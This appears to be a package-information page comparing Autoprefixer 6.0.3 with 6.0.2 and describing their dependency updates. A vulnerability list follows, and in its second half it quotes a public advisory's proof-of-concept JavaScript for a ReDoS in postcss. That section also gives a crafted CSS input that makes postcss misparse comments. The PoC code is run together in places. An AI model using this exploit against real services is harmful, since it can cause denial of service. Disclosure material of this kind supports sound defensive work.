Autoprefixer version 6.0.3 marks an incremental update to the popular CSS vendor prefixing tool, succeeding version 6.0.2. While both iterations share the same core functionality of parsing CSS and adding necessary vendor prefixes based on data from Can I Use, subtle yet important distinctions cater to developers seeking enhanced compatibility and stability.
A key difference lies in the updated dependencies. Version 6.0.3 upgrades the postcss dependency to version ^5.0.5 from ^5.0.4, suggesting potential bug fixes and performance improvements within PostCSS, the core CSS processing engine used by Autoprefixer. Crucially, the caniuse-db dependency sees a significant jump from 1.0.30000296 to ^1.0.30000313. This reflects an updated database of browser compatibility data, ensuring Autoprefixer generates prefixes reflecting the latest browser support landscape. The num2fraction package is bumped from 1.1.0 to ^1.2.2. This likely addresses minor numerical precision issues, and could be of interest for more complex and niche use cases.
Developers upgrading should note the updated dependencies as potential breaking changes, where compatibility issues could arise in more complex environments. The development dependencies are slightly modified, the browserify changes from 11.0.1 to 11.1.0 and the mocha dependency changes from 2.3.1 to 2.3.2. Finally, the release dates indicate that version 6.0.3 was released approximately 10 days after version 6.0.2, suggesting a rapid response to bug fixes or necessary compatibility updates in the predecessor.
All the vulnerabilities related to the version 6.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.